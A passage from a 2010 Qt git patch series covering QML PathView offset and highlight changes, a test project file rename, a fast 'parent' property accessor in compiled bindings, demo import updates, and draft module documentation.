QDeclarativePathView::createdItem(int index, QDeclarativeItem *item) @@ -919,36 +1033,10 @@ int QDeclarativePathViewPrivate::calcCurrentIndex() { int current = -1; if (model && items.count()) { - _offset = qmlMod(_offset, qreal(1.0)); - if (_offset < 0) - _offset += 1.0; - - if (pathItems == -1) { - qreal delta = qmlMod(_offset - snapPos, qreal(1.0)); - if (delta < 0) - delta = 1.0 + delta; - int ii = model->count() - qRound(delta * model->count()); - if (ii < 0) - ii = 0; - current = ii; - } else { - qreal bestDiff=1e9; - int bestI=-1; - for (int i=0; icount()); + offset = qmlMod(offset, model->count()); + if (offset < 0) + offset += model->count(); + current = qRound(qAbs(qmlMod(model->count() - offset, model->count()))); } return current; @@ -1002,57 +1090,26 @@ void QDeclarativePathViewPrivate::snapToCurrent() if (!model || model->count() <= 0) return; - int itemIndex = (currentIndex - firstIndex + model->count()) % model->count(); - - //Rounds is the number of times round to make the current item visible - int rounds = itemIndex / items.count(); - int otherWayRounds = (model->count() - (itemIndex)) / items.count(); - if (otherWayRounds < rounds) - rounds = -otherWayRounds; - - itemIndex += pathOffset; - if(model->count() % items.count() && itemIndex - model->count() + items.count() > 0){ - //When model.count() is not a multiple of pathItemCount we need to manually - //fix the index so that going backwards one step works correctly. - itemIndex = itemIndex - model->count() + items.count(); - } - itemIndex %= items.count(); - qreal targetOffset = qmlMod(1.0 + snapPos - qreal(itemIndex) / items.count(), qreal(1.0)); - - if (targetOffset < 0) - targetOffset = 1.0 + targetOffset; - if (targetOffset == _offset && rounds == 0) - return; + qreal targetOffset = model->count() - currentIndex; moveReason = Other; tl.clear(); - moveOffset.setValue(_offset); - - if (rounds!=0){ - //Compensate if the targetOffset would bring the target in from off the screen - qreal distance = targetOffset - _offset; - if (distance <= -0.5) - rounds--; - if (distance > 0.5) - rounds++; - tl.move(moveOffset, targetOffset -rounds, QEasingCurve(QEasingCurve::InOutQuad), - int(items.count()*qMax((qreal)(2.0/items.count()),(qreal)qAbs(rounds)))); - tl.callback(QDeclarativeTimeLineCallback(&moveOffset, fixOffsetCallback, this)); - return; - } - - if (targetOffset - _offset > 0.5) { - qreal distance = 1 - targetOffset + _offset; - tl.move(moveOffset, 0.0, QEasingCurve(QEasingCurve::OutQuad), int(200 * _offset / distance)); - tl.set(moveOffset, 1.0); - tl.move(moveOffset, targetOffset, QEasingCurve(QEasingCurve::InQuad), int(200 * (1.0-targetOffset) / distance)); - } else if (targetOffset - _offset <= -0.5) { - qreal distance = 1 - _offset + targetOffset; - tl.move(moveOffset, 1.0, QEasingCurve(QEasingCurve::OutQuad), int(200 * (1.0-_offset) / distance)); + moveOffset.setValue(offset); + + const int duration = 300; + + if (targetOffset - offset > model->count()/2) { + qreal distance = model->count() - targetOffset + offset; + tl.move(moveOffset, 0.0, QEasingCurve(QEasingCurve::InQuad), int(duration * offset / distance)); + tl.set(moveOffset, model->count()); + tl.move(moveOffset, targetOffset, QEasingCurve(QEasingCurve::OutQuad), int(duration * (model->count()-targetOffset) / distance)); + } else if (targetOffset - offset <= -model->count()/2) { + qreal distance = model->count() - offset + targetOffset; + tl.move(moveOffset, model->count(), QEasingCurve(QEasingCurve::InQuad), int(duration * (model->count()-offset) / distance)); tl.set(moveOffset, 0.0); - tl.move(moveOffset, targetOffset, QEasingCurve(QEasingCurve::InQuad), int(200 * targetOffset / distance)); + tl.move(moveOffset, targetOffset, QEasingCurve(QEasingCurve::OutQuad), int(duration * targetOffset / distance)); } else { - tl.move(moveOffset, targetOffset, QEasingCurve(QEasingCurve::InOutQuad), 200); + tl.move(moveOffset, targetOffset, QEasingCurve(QEasingCurve::InOutQuad), duration); } } diff --git a/src/declarative/graphicsitems/qdeclarativepathview_p.h b/src/declarative/graphicsitems/qdeclarativepathview_p.h index 6dbd044..07b8f6f 100644 --- a/src/declarative/graphicsitems/qdeclarativepathview_p.h +++ b/src/declarative/graphicsitems/qdeclarativepathview_p.h @@ -62,8 +62,15 @@ class Q_DECLARATIVE_EXPORT QDeclarativePathView : public QDeclarativeItem Q_PROPERTY(int currentIndex READ currentIndex WRITE setCurrentIndex NOTIFY currentIndexChanged) Q_PROPERTY(qreal offset READ offset WRITE setOffset NOTIFY offsetChanged) Q_PROPERTY(qreal snapPosition READ snapPosition WRITE setSnapPosition NOTIFY snapPositionChanged) + + Q_PROPERTY(QDeclarativeComponent *highlight READ highlight WRITE setHighlight NOTIFY highlightChanged) + Q_PROPERTY(QDeclarativeItem *highlightItem READ highlightItem NOTIFY highlightItemChanged) + Q_PROPERTY(qreal dragMargin READ dragMargin WRITE setDragMargin NOTIFY dragMarginChanged) - Q_PROPERTY(int count READ count) + Q_PROPERTY(qreal flickDeceleration READ flickDeceleration WRITE setFlickDeceleration NOTIFY flickDecelerationChanged) + Q_PROPERTY(bool interactive READ isInteractive WRITE setInteractive NOTIFY interactiveChanged) + + Q_PROPERTY(int count READ count NOTIFY countChanged) Q_PROPERTY(QDeclarativeComponent *delegate READ delegate WRITE setDelegate NOTIFY delegateChanged) Q_PROPERTY(int pathItemCount READ pathItemCount WRITE setPathItemCount NOTIFY pathItemCountChanged) @@ -86,9 +93,19 @@ public: qreal snapPosition() const; void setSnapPosition(qreal pos); + QDeclarativeComponent *highlight() const; + void setHighlight(QDeclarativeComponent *highlight); + QDeclarativeItem *highlightItem(); + qreal dragMargin() const; void setDragMargin(qreal margin); + qreal flickDeceleration() const; + void setFlickDeceleration(qreal dec); + + bool isInteractive() const; + void setInteractive(bool); + int count() const; QDeclarativeComponent *delegate() const; @@ -103,11 +120,16 @@ Q_SIGNALS: void currentIndexChanged(); void offsetChanged(); void modelChanged(); + void countChanged(); void pathChanged(); void dragMarginChanged(); void snapPositionChanged(); void delegateChanged(); void pathItemCountChanged(); + void flickDecelerationChanged(); + void interactiveChanged(); + void highlightChanged(); + void highlightItemChanged(); protected: void mousePressEvent(QGraphicsSceneMouseEvent *event); @@ -122,6 +144,7 @@ private Q_SLOTS: void ticked(); void itemsInserted(int index, int count); void itemsRemoved(int index, int count); + void itemsMoved(int,int,int); void modelReset(); void createdItem(int index, QDeclarativeItem *item); void destroyingItem(QDeclarativeItem *item); diff --git a/src/declarative/graphicsitems/qdeclarativepathview_p_p.h b/src/declarative/graphicsitems/qdeclarativepathview_p_p.h index 62f7d95..1780869 100644 --- a/src/declarative/graphicsitems/qdeclarativepathview_p_p.h +++ b/src/declarative/graphicsitems/qdeclarativepathview_p_p.h @@ -75,17 +75,18 @@ class QDeclarativePathViewPrivate : public QDeclarativeItemPrivate public: QDeclarativePathViewPrivate() : path(0), currentIndex(0), startPc(0), lastDist(0) - , lastElapsed(0), stealMouse(false), ownModel(false), activeItem(0) - , snapPos(0), dragMargin(0), moveOffset(this, &QDeclarativePathViewPrivate::setOffset) - , firstIndex(0), pathItems(-1), pathOffset(0), requestedIndex(-1) - , moveReason(Other), attType(0) + , lastElapsed(0), mappedRange(1.0), stealMouse(false), ownModel(false), interactive(true) + , snapPos(0), dragMargin(0), deceleration(100) + , moveOffset(this, &QDeclarativePathViewPrivate::setOffset) + , firstIndex(-1), pathItems(-1), requestedIndex(-1) + , moveReason(Other), attType(0), highlightComponent(0), highlightItem(0) { } void init() { Q_Q(QDeclarativePathView); - _offset = 0; + offset = 0; q->setAcceptedMouseButtons(Qt::LeftButton); q->setFlag(QGraphicsItem::ItemIsFocusScope); q->setFiltersChildEvents(true); @@ -96,7 +97,10 @@ public: void releaseItem(QDeclarativeItem *item); QDeclarativePathViewAttached *attached(QDeclarativeItem *item); void clear(); - + void updateMappedRange(); + qreal positionOfIndex(int index) const; + void createHighlight(); + void updateHighlight(); bool isValid() const { return model && model->count() > 0 && model->isValid() && path; } @@ -117,19 +121,20 @@ public: QPointF startPoint; qreal lastDist; int lastElapsed; - qreal _offset; + qreal offset; + qreal mappedRange; bool stealMouse : 1; bool ownModel : 1; + bool interactive : 1; QTime lastPosTime; QPointF lastPos; - QDeclarativeItem *activeItem; qreal snapPos; qreal dragMargin; + qreal deceleration; QDeclarativeTimeLine tl; QDeclarativeTimeLineValueProxy moveOffset; int firstIndex; int pathItems; - int pathOffset; int requestedIndex; QList items; QDeclarativeGuard model; @@ -137,6 +142,8 @@ public: enum MovementReason { Other, Key, Mouse }; MovementReason moveReason; QDeclarativeOpenMetaObjectType *attType; + QDeclarativeComponent *highlightComponent; + QDeclarativeItem *highlightItem; }; QT_END_NAMESPACE diff --git a/tests/auto/declarative/qdeclarativepathview/data/pathview0.qml b/tests/auto/declarative/qdeclarativepathview/data/pathview0.qml index ae0c86a..8e2c251 100644 --- a/tests/auto/declarative/qdeclarativepathview/data/pathview0.qml +++ b/tests/auto/declarative/qdeclarativepathview/data/pathview0.qml @@ -49,6 +49,11 @@ Rectangle { model: testModel delegate: delegate snapPosition: 0.0001 + highlight: Rectangle { + width: 60 + height: 20 + color: "yellow" + } path: Path { startY: 120 startX: 160 diff --git a/tests/auto/declarative/qdeclarativepathview/data/pathview3.qml b/tests/auto/declarative/qdeclarativepathview/data/pathview3.qml index 70cfbcd..f1bc66e 100644 --- a/tests/auto/declarative/qdeclarativepathview/data/pathview3.qml +++ b/tests/auto/declarative/qdeclarativepathview/data/pathview3.qml @@ -2,7 +2,7 @@ import Qt 4.6 PathView { id: photoPathView - y: 100; width: 800; height: 330; pathItemCount: 4; offset: 0.1 + y: 100; width: 800; height: 330; pathItemCount: 4; offset: 1 dragMargin: 24; snapPosition: 0.50 path: Path { diff --git a/tests/auto/declarative/qdeclarativepathview/tst_qdeclarativepathview.cpp b/tests/auto/declarative/qdeclarativepathview/tst_qdeclarativepathview.cpp index c16c46f..6d7cc0d 100644 --- a/tests/auto/declarative/qdeclarativepathview/tst_qdeclarativepathview.cpp +++ b/tests/auto/declarative/qdeclarativepathview/tst_qdeclarativepathview.cpp @@ -219,7 +219,7 @@ void tst_QDeclarativePathView::items() QDeclarativePathView *pathview = findItem(canvas->rootObject(), "view"); QVERIFY(pathview != 0); - QCOMPARE(pathview->childItems().count(), model.count()); // assumes all are visible + QCOMPARE(pathview->childItems().count(), model.count()+1); // assumes all are visible, including highlight for (int i = 0; i < model.count(); ++i) { QDeclarativeText *name = findItem(pathview, "textName", i); @@ -230,6 +230,16 @@ void tst_QDeclarativePathView::items() QCOMPARE(number->text(), model.number(i)); } + QDeclarativePath *path = qobject_cast(pathview->path()); + QVERIFY(path); + + QVERIFY(pathview->highlightItem()); + QPointF start = path->pointAt(0.0); + QPointF offset; + offset.setX(pathview->highlightItem()->width()/2); + offset.setY(pathview->highlightItem()->height()/2); + QCOMPARE(pathview->highlightItem()->pos() + offset, start); + delete canvas; } @@ -262,8 +272,8 @@ void tst_QDeclarativePathView::pathview3() QVERIFY(obj->delegate() != 0); QVERIFY(obj->model() != QVariant()); QCOMPARE(obj->currentIndex(), 0); - QCOMPARE(obj->offset(), 0.5); // ??? - QCOMPARE(obj->snapPosition(), 0.5); // ??? + QCOMPARE(obj->offset(), 1.0); + QCOMPARE(obj->snapPosition(), 0.5); QCOMPARE(obj->dragMargin(), 24.); QCOMPARE(obj->count(), 8); QCOMPARE(obj->pathItemCount(), 4); @@ -422,14 +432,14 @@ void tst_QDeclarativePathView::pathMoved() offset.setX(firstItem->width()/2); offset.setY(firstItem->height()/2); QCOMPARE(firstItem->pos() + offset, start); - pathview->setOffset(0.1); + pathview->setOffset(1.0); for(int i=0; i(pathview, "wrapper", i); - QCOMPARE(curItem->pos() + offset, path->pointAt(0.1 + i*0.25)); + QCOMPARE(curItem->pos() + offset, path->pointAt(0.25 + i*0.25)); } - pathview->setOffset(1.0); + pathview->setOffset(0.0); QCOMPARE(firstItem->pos() + offset, start); delete canvas; -- cgit v0.12 From 8cc346604ed1e1504964772613ed9fe531361f69 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Morten=20Johan=20S=C3=B8rvig?= Date: Thu, 25 Mar 2010 07:43:23 +0100 Subject: Fix CI sytem build breakage. (The .pro file name must match the dir name) --- tests/auto/macnativeevents/macnativeevents.pro | 16 ++++++++++++++++ tests/auto/macnativeevents/tst_macnativeevents.pro | 16 ---------------- 2 files changed, 16 insertions(+), 16 deletions(-) create mode 100644 tests/auto/macnativeevents/macnativeevents.pro delete mode 100644 tests/auto/macnativeevents/tst_macnativeevents.pro diff --git a/tests/auto/macnativeevents/macnativeevents.pro b/tests/auto/macnativeevents/macnativeevents.pro new file mode 100644 index 0000000..a0293d4 --- /dev/null +++ b/tests/auto/macnativeevents/macnativeevents.pro @@ -0,0 +1,16 @@ +###################################################################### +# Automatically generated by qmake (2.01a) Wed Nov 29 22:24:47 2006 +###################################################################### + +load(qttest_p4) +TEMPLATE = app +DEPENDPATH += . +INCLUDEPATH += . +LIBS += -framework Carbon + +HEADERS += qnativeinput.h qnativeplayer.h +SOURCES += qnativeinput.cpp qnativeplayer.cpp qnativeinput_mac.cpp + +SOURCES += tst_macnativeevents.cpp + +requires(mac) diff --git a/tests/auto/macnativeevents/tst_macnativeevents.pro b/tests/auto/macnativeevents/tst_macnativeevents.pro deleted file mode 100644 index a0293d4..0000000 --- a/tests/auto/macnativeevents/tst_macnativeevents.pro +++ /dev/null @@ -1,16 +0,0 @@ -###################################################################### -# Automatically generated by qmake (2.01a) Wed Nov 29 22:24:47 2006 -###################################################################### - -load(qttest_p4) -TEMPLATE = app -DEPENDPATH += . -INCLUDEPATH += . -LIBS += -framework Carbon - -HEADERS += qnativeinput.h qnativeplayer.h -SOURCES += qnativeinput.cpp qnativeplayer.cpp qnativeinput_mac.cpp - -SOURCES += tst_macnativeevents.cpp - -requires(mac) -- cgit v0.12 From 72599ca45c416f2f0a9654412c14a148ca3d728c Mon Sep 17 00:00:00 2001 From: Aaron Kennedy Date: Thu, 25 Mar 2010 17:49:33 +1000 Subject: Optimize QML "parent" property access For properties that are as important as "parent", QML cannot afford the overhead of a signal/slot connection. --- src/declarative/graphicsitems/qdeclarativeitem.cpp | 11 ++- src/declarative/graphicsitems/qdeclarativeitem_p.h | 6 ++ .../qml/qdeclarativecompiledbindings.cpp | 88 ++++++++++++++++++---- src/declarative/qml/qml.pri | 2 + 4 files changed, 91 insertions(+), 16 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativeitem.cpp b/src/declarative/graphicsitems/qdeclarativeitem.cpp index e6ade00..ee0682a 100644 --- a/src/declarative/graphicsitems/qdeclarativeitem.cpp +++ b/src/declarative/graphicsitems/qdeclarativeitem.cpp @@ -1554,6 +1554,14 @@ void QDeclarativeItemPrivate::transform_clear(QDeclarativeListProperty(o); + if (e) + e->connect(&item->d_func()->parentNotifier); + *((QDeclarativeItem **)rv) = item->parentItem(); +} + /*! \qmlproperty list Item::data \default @@ -2539,10 +2547,11 @@ bool QDeclarativeItem::sceneEvent(QEvent *event) QVariant QDeclarativeItem::itemChange(GraphicsItemChange change, const QVariant &value) { - Q_D(const QDeclarativeItem); + Q_D(QDeclarativeItem); switch (change) { case ItemParentHasChanged: emit parentChanged(parentItem()); + d->parentNotifier.notify(); break; case ItemChildAddedChange: case ItemChildRemovedChange: diff --git a/src/declarative/graphicsitems/qdeclarativeitem_p.h b/src/declarative/graphicsitems/qdeclarativeitem_p.h index 56b0d77..4828f4e 100644 --- a/src/declarative/graphicsitems/qdeclarativeitem_p.h +++ b/src/declarative/graphicsitems/qdeclarativeitem_p.h @@ -62,6 +62,8 @@ #include #include +#include + #include #include @@ -160,6 +162,10 @@ public: static QGraphicsTransform *transform_at(QDeclarativeListProperty *list, int); static void transform_clear(QDeclarativeListProperty *list); + // Accelerated property accessors + QDeclarativeNotifier parentNotifier; + static void parentProperty(QObject *o, void *rv, QDeclarativeNotifierEndpoint *e); + QDeclarativeAnchors *anchors() { if (!_anchors) { Q_Q(QDeclarativeItem); diff --git a/src/declarative/qml/qdeclarativecompiledbindings.cpp b/src/declarative/qml/qdeclarativecompiledbindings.cpp index 1acca2f..67750a4 100644 --- a/src/declarative/qml/qdeclarativecompiledbindings.cpp +++ b/src/declarative/qml/qdeclarativecompiledbindings.cpp @@ -53,11 +53,15 @@ #include #include #include +#include QT_BEGIN_NAMESPACE DEFINE_BOOL_CONFIG_OPTION(qmlExperimental, QML_EXPERIMENTAL); DEFINE_BOOL_CONFIG_OPTION(qmlDisableOptimizer, QML_DISABLE_OPTIMIZER); +DEFINE_BOOL_CONFIG_OPTION(qmlDisableFastProperties, QML_DISABLE_FAST_PROPERTIES); + +Q_GLOBAL_STATIC(QDeclarativeFastProperties, fastProperties); using namespace QDeclarativeJS; @@ -334,6 +338,8 @@ struct Instr { Subscribe, // subscribe SubscribeId, // subscribe + FetchAndSubscribe, // fetchAndSubscribe + LoadId, // load LoadScope, // load LoadRoot, // load @@ -433,6 +439,14 @@ struct Instr { qint8 output; qint8 objectReg; quint8 exceptionId; + quint16 subscription; + quint16 function; + } fetchAndSubscribe; + struct { + quint8 type; + qint8 output; + qint8 objectReg; + quint8 exceptionId; quint32 index; } fetch; struct { @@ -937,6 +951,9 @@ static void dumpInstruction(const Instr *instr) case Instr::SubscribeId: qWarning().nospace() << "SubscribeId" << "\t\t" << instr->subscribe.offset << "\t" << instr->subscribe.reg << "\t" << instr->subscribe.index; break; + case Instr::FetchAndSubscribe: + qWarning().nospace() << "FetchAndSubscribe" << "\t" << instr->fetchAndSubscribe.output << "\t" << instr->fetchAndSubscribe.objectReg << "\t" << instr->fetchAndSubscribe.subscription; + break; case Instr::LoadId: qWarning().nospace() << "LoadId" << "\t\t\t" << instr->load.index << "\t" << instr->load.reg; break; @@ -1070,6 +1087,8 @@ void QDeclarativeCompiledBindingsPrivate::run(int instrIndex, QDeclarativeContextData *context, QDeclarativeDelayedError *error, QObject *scope, QObject *output) { + Q_Q(QDeclarativeCompiledBindings); + error->removeError(); Register registers[32]; @@ -1081,6 +1100,7 @@ void QDeclarativeCompiledBindingsPrivate::run(int instrIndex, instr += instrIndex; const char *data = program->data(); + // return; #ifdef COMPILEDBINDINGS_DEBUG qWarning().nospace() << "Begin binding run"; #endif @@ -1107,6 +1127,32 @@ void QDeclarativeCompiledBindingsPrivate::run(int instrIndex, } break; + case Instr::FetchAndSubscribe: + { + const Register &input = registers[instr->fetchAndSubscribe.objectReg]; + Register &output = registers[instr->fetchAndSubscribe.output]; + + if (input.isUndefined()) { + throwException(instr->fetchAndSubscribe.exceptionId, error, program, context); + return; + } + + QObject *object = input.getQObject(); + if (!object) { + output.setUndefined(); + } else { + int subIdx = instr->fetchAndSubscribe.subscription; + QDeclarativeCompiledBindingsPrivate::Subscription *sub = 0; + if (subIdx != -1) { + sub = (subscriptions + subIdx); + sub->target = q; + sub->targetMethod = methodCount + subIdx; + } + fastProperties()->accessor(instr->fetchAndSubscribe.function)(object, output.typeDataPtr(), sub); + } + } + break; + case Instr::LoadId: registers[instr->load.reg].setQObject(context->idValues[instr->load.index].data()); break; @@ -2376,29 +2422,41 @@ bool QDeclarativeBindingCompilerPrivate::buildName(QStringList &name, return true; } - bool QDeclarativeBindingCompilerPrivate::fetch(Result &rv, const QMetaObject *mo, int reg, - int idx, const QStringList &subName, QDeclarativeJS::AST::ExpressionNode *node) + int idx, const QStringList &subName, + QDeclarativeJS::AST::ExpressionNode *node) { QMetaProperty prop = mo->property(idx); rv.metaObject = 0; rv.type = 0; - if (subscription(subName, &rv) && prop.hasNotifySignal() && prop.notifySignalIndex() != -1) { - Instr sub; - sub.common.type = Instr::Subscribe; - sub.subscribe.offset = subscriptionIndex(subName); - sub.subscribe.reg = reg; - sub.subscribe.index = prop.notifySignalIndex(); - bytecode << sub; - } + int fastFetchIndex = fastProperties()->accessorIndexForProperty(mo, idx); Instr fetch; - fetch.common.type = Instr::Fetch; - fetch.fetch.objectReg = reg; - fetch.fetch.index = idx; - fetch.fetch.output = reg; - fetch.fetch.exceptionId = exceptionId(node); + + if (!qmlDisableFastProperties() && fastFetchIndex != -1) { + fetch.common.type = Instr::FetchAndSubscribe; + fetch.fetchAndSubscribe.objectReg = reg; + fetch.fetchAndSubscribe.output = reg; + fetch.fetchAndSubscribe.function = fastFetchIndex; + fetch.fetchAndSubscribe.subscription = subscriptionIndex(subName); + fetch.fetchAndSubscribe.exceptionId = exceptionId(node); + } else { + if (subscription(subName, &rv) && prop.hasNotifySignal() && prop.notifySignalIndex() != -1) { + Instr sub; + sub.common.type = Instr::Subscribe; + sub.subscribe.offset = subscriptionIndex(subName); + sub.subscribe.reg = reg; + sub.subscribe.index = prop.notifySignalIndex(); + bytecode << sub; + } + + fetch.common.type = Instr::Fetch; + fetch.fetch.objectReg = reg; + fetch.fetch.index = idx; + fetch.fetch.output = reg; + fetch.fetch.exceptionId = exceptionId(node); + } rv.type = prop.userType(); rv.metaObject = engine->metaObjectForType(rv.type); diff --git a/src/declarative/qml/qml.pri b/src/declarative/qml/qml.pri index 49888c3..fc8ba50 100644 --- a/src/declarative/qml/qml.pri +++ b/src/declarative/qml/qml.pri @@ -31,6 +31,7 @@ SOURCES += \ $$PWD/qdeclarativerewrite.cpp \ $$PWD/qdeclarativevaluetype.cpp \ $$PWD/qdeclarativecompiledbindings.cpp \ + $$PWD/qdeclarativefastproperties.cpp \ $$PWD/qdeclarativexmlhttprequest.cpp \ $$PWD/qdeclarativesqldatabase.cpp \ $$PWD/qmetaobjectbuilder.cpp \ @@ -103,6 +104,7 @@ HEADERS += \ $$PWD/qbitfield_p.h \ $$PWD/qdeclarativevaluetype_p.h \ $$PWD/qdeclarativecompiledbindings_p.h \ + $$PWD/qdeclarativefastproperties_p.h \ $$PWD/qdeclarativexmlhttprequest_p.h \ $$PWD/qdeclarativesqldatabase_p.h \ $$PWD/qmetaobjectbuilder_p.h \ -- cgit v0.12 From 870dbc7542beb07b84378f356cbe568a2ae8b7e1 Mon Sep 17 00:00:00 2001 From: Alan Alpert Date: Thu, 25 Mar 2010 09:19:07 +0100 Subject: Tweak import behaviour The implicit import of types in the same directory/module now imports version -1 (which means all versions). This fixes the Twitter demo. Additionally, the current directory is not added to the imports path. No functionality is lost, as you can import local modules with relative paths for the same effect. Improved docs are on the way. Reviewed-by: mae --- demos/declarative/minehunt/minehunt.qml | 2 +- demos/declarative/photoviewer/photoviewer.qml | 2 +- demos/declarative/samegame/samegame.qml | 2 +- demos/declarative/twitter/twitter.qml | 2 +- .../data/lib/com/nokia/installedtest/InstalledTest.qml | 4 ++-- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/demos/declarative/minehunt/minehunt.qml b/demos/declarative/minehunt/minehunt.qml index 9e99706..2ca6c4c 100644 --- a/demos/declarative/minehunt/minehunt.qml +++ b/demos/declarative/minehunt/minehunt.qml @@ -1,5 +1,5 @@ import Qt 4.6 -import MinehuntCore 1.0 +import "MinehuntCore" 1.0 Item { id: field diff --git a/demos/declarative/photoviewer/photoviewer.qml b/demos/declarative/photoviewer/photoviewer.qml index 8feee02..662ea12 100644 --- a/demos/declarative/photoviewer/photoviewer.qml +++ b/demos/declarative/photoviewer/photoviewer.qml @@ -1,5 +1,5 @@ import Qt 4.6 -import PhotoViewerCore 1.0 +import "PhotoViewerCore" 1.0 Rectangle { id: mainWindow diff --git a/demos/declarative/samegame/samegame.qml b/demos/declarative/samegame/samegame.qml index f084ff6..6c58d49 100644 --- a/demos/declarative/samegame/samegame.qml +++ b/demos/declarative/samegame/samegame.qml @@ -1,5 +1,5 @@ import Qt 4.6 -import SamegameCore 1.0 +import "SamegameCore" 1.0 import "SamegameCore/samegame.js" as Logic Rectangle { diff --git a/demos/declarative/twitter/twitter.qml b/demos/declarative/twitter/twitter.qml index 259f79a..94d53f1 100644 --- a/demos/declarative/twitter/twitter.qml +++ b/demos/declarative/twitter/twitter.qml @@ -1,5 +1,5 @@ import Qt 4.6 -import TwitterCore 1.0 as Twitter +import "TwitterCore" 1.0 as Twitter Item { id: screen; width: 320; height: 480 diff --git a/tests/auto/declarative/qdeclarativelanguage/data/lib/com/nokia/installedtest/InstalledTest.qml b/tests/auto/declarative/qdeclarativelanguage/data/lib/com/nokia/installedtest/InstalledTest.qml index d8a22a8..38cf6bb 100644 --- a/tests/auto/declarative/qdeclarativelanguage/data/lib/com/nokia/installedtest/InstalledTest.qml +++ b/tests/auto/declarative/qdeclarativelanguage/data/lib/com/nokia/installedtest/InstalledTest.qml @@ -1,2 +1,2 @@ -import Qt 4.6 -Rectangle {} +import Qt 4.6 as Qt +Qt.Rectangle {} -- cgit v0.12 From 7c1fab0905357ece5746269140593794529e6724 Mon Sep 17 00:00:00 2001 From: Alan Alpert Date: Thu, 25 Mar 2010 09:31:59 +0100 Subject: Add an initial attempt at docs on the new runtime and imports. --- doc/src/declarative/declarativeui.qdoc | 1 + doc/src/declarative/modules.qdoc | 137 ++++++++++++++++++++++----------- doc/src/declarative/qmlruntime.qdoc | 84 ++++++++++++++++---- 3 files changed, 161 insertions(+), 61 deletions(-) diff --git a/doc/src/declarative/declarativeui.qdoc b/doc/src/declarative/declarativeui.qdoc index ca4c5da..69a8216 100644 --- a/doc/src/declarative/declarativeui.qdoc +++ b/doc/src/declarative/declarativeui.qdoc @@ -94,6 +94,7 @@ completely new applications. QML is fully \l {Extending QML in C++}{extensible \o \l {qdeclarativefocus.html}{Keyboard Focus} \o \l {Extending types from QML} \o \l {Dynamic Object Creation} +\o \l {qmlruntime.html}{The Qt Declarative Runtime} \endlist \section1 Reference: diff --git a/doc/src/declarative/modules.qdoc b/doc/src/declarative/modules.qdoc index 53de32c..f90e23b 100644 --- a/doc/src/declarative/modules.qdoc +++ b/doc/src/declarative/modules.qdoc @@ -42,14 +42,79 @@ /*! \page qdeclarativemodules.html \title Modules +\section1 QML Modules. +QUERY: Is a directory with no qmldir really a module? Assumed NO. -A \bold module is a collection of QML types. +A \bold module is a collection of QML types. These types can be defined in QML, or in C++ +through a QDeclarativeExtensionPlugin. They can then be collected into a directory to comprise +a module. + +Additionally a module can also be a collection of types which was compiled into your application, see \l{Extending QML in C++}. + +While a directory containing types can be used to organize QML components, QML modules also contain a \c qmldir file. +This file provides a manifest of all types available in the module, +and allows versioned imports (among other things). A directory containing only QML files or plugins behaves similarly +to a module, but a QML module requires a \c qmldir file (unless it is written in C++ and compiled into your application). + +\section2 The \c qmldir File + +QML modules containing installed files and remote content require a file \c qmldir which specifies the +mapping from all type names to versioned QML files. It is a list of lines of the form: + +\code +# + +plugin [] +\endcode + +# lines are ignored, and can be used for comments. + + lines are used to add QML files as types. + is the type being made available; is a version +number like \c 4.0; is the (relative) +file name of the QML file defining the type. + +plugin [] lines are used to add plugins (QDeclarativeExtensionPlugin subclasses +written in C++) to the module. The line starts with the keyword 'plugin'; is the +name of the library; is an optional argument specifying the full path to the directory +containing the plugin file, if it is omitted then the directory is assumed to be the same as +the directory of the qmldir file. Note that is not usually the same as the file name +of the plugin binary, which is platform dependent e.g. the library MyAppTypes would produce a libMyAppTypes.so on linux and MyAppTypes.dll on windows. + +The same type can be provided by different files in different versions, in which +case later earlier versions (eg. 1.2) must precede earlier versions (eg. 1.0), +since the \e first name-version match is used. + +Installed files do not need to import the module of which they are a part, as they can refer +to the other QML files in the module as relative (local) files. +If the module is imported from a remote location, those files must nevertheless be listed in +the \c qmldir file. Internal files can be marked with the \c internal keyword, to ensure +they are not visible outside the module: + +\code +internal +\endcode + +Installed and remote files \e must be referred to by version information described above, +local files \e may have it. + +The versioning system ensures that a given QML file will work regardless of the version +of installed software, since a versioned import \e only imports types for that version, +leaving other identifiers available, even if the actual installed version might otherwise +use those identifiers. + +\section1 Importing Modules To use types from a module it must be imported using the \c import statement. Successive import statements override earlier import statements, however, since imports have version qualifiers, changes in modules do not alter the semantics of imports. -\section1 Importing Types Defined in C++ +While it is possible to import some modules without specifying a version this is only advisable +during prototyping, where version numbers mean very little. The rest of the time it is recommended that +you take advantage of the versioning capabilities of the language. + +You can import a directory in the same way that you import a module, except that you cannot specify a version +number. This will import all the types in that directory as QML files or as part of plugins. Types \link adding-types defined in C++\endlink can be from types your application defines, standard QML types, or types defined in plugins. To use any such types, you must import @@ -90,7 +155,7 @@ Installed plugins and QML files can both contribute types to the same module. The specification of types to versions is given by a special file, \c qmldir which must exist in the module directory. The syntax is described below. -The \c -L option to the \l {qmlviewer}{viewer} application also adds paths to the import path. +The \c -L option to the \l {qmlviewer}{runtime} application also adds paths to the import path. \section2 Local QML Files @@ -103,62 +168,31 @@ import "path" \endcode This allows all components defined in the directory \c path to be used in -the component where this statement appears. +the component where this statement appears. Because no version number is specified, +all types in the directory will be imported. -In this case, and only this case, it is not necessary for the module directory to include +In this case, and only this case, it is not necessary for the directory to include a \c qmldir file, nor is it necessary to provide a version qualifier. The basis of this is that the files in the subdirectory are assumed to be packaged with the importer, and therefore -they form a single versioned unit. - - -\section2 Remote QML Files - -To import types defined in QML file at arbitrary network locations, a quoted absolute URL is used: +they form a single versioned unit. It is however recommended that you add a qmldir file and create +a QML module, as this provides additional options such as more flexible versioning. If the directory +is a module then you can use a version qualifier, like below \code -import "http://url/.../" 1.0 +import "path" 1.0 \endcode -This works the same as for relative directory imports, except that the target location \e must -include a \c qmldir file, and a version qualifier must be given. - -\section2 The \c qmldir File - -Directories of installed files and remote content must include a file \c qmldir which specifies the -mapping from all type names to versioned QML files. It is a list of lines of the form: - -\code -# - -\endcode - - is the type being made available; is a version -number like \c 4.0; is the (relative) -file name of the QML file defining the type. - -The same type can be provided by different files in different versions, in which -case later earlier versions (eg. 1.2) must precede earlier versions (eg. 1.0), -since the \e first name-version match is used. +\section2 Remote QML Files -Installed files do not need to import the module of which they are a part, as they can refer -to the other QML files in the module as relative (local) files. -If the module is imported from a remote location, those files must nevertheless be listed in -the \c qmldir file. Internal files can be marked with the \c internal keyword, to ensure -they are not visible outside the module: +To import types defined in QML file at arbitrary network locations, a quoted absolute URL is used: \code -internal +import 